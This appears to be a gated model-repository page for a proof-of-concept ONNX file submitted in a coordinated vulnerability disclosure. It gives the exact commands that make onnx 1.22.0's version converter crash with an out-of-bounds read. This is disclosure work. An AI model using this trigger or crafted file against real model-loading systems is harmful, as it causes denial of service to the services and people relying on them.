You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a security proof-of-concept model file for a coordinated-disclosure vulnerability report. Access is gated and granted only to authorized reviewers.
Log in or Sign Up to review the conditions and access this model content.
PoC: onnx version_converter attribute-kind type confusion → OOB read (SIGSEGV)
Do not load/convert this file with a vulnerable onnx. It deterministically
crashes the process (SIGSEGV). It is a minimal, non-weaponized security PoC for a
coordinated-disclosure report.
Exact trigger
python -m pip install onnx==1.22.0
python - <<'PY'
import onnx
model = onnx.load("poc_slice_typeconfusion.onnx")
onnx.version_converter.convert_version(model, 12)
print("RAN CLEAN") # not reached on a vulnerable build
PY
echo "RC=$?"
Expected crash
On the shipped PyPI wheel onnx==1.22.0 (shipped _GLIBCXX_ASSERTIONS build):
Segmentation fault
RC=139
Impact / honest ceiling
Demonstrated impact is a reliable, file-triggered crash (DoS, SIGSEGV rc 139) from a 168-byte file. See the full advisory for the complete analysis and suggested fix.
Affected versions
onnx 1.22.0 (shipped wheel, tested), and unchanged on main (pin 135c1ea)
as of 2026-07-13.
Disclosure
This artifact is part of an authorized coordinated-disclosure report (Protect AI / Huntr AI-ML model-file bounty; ONNX maintainers). Access is gated to authorized reviewers only.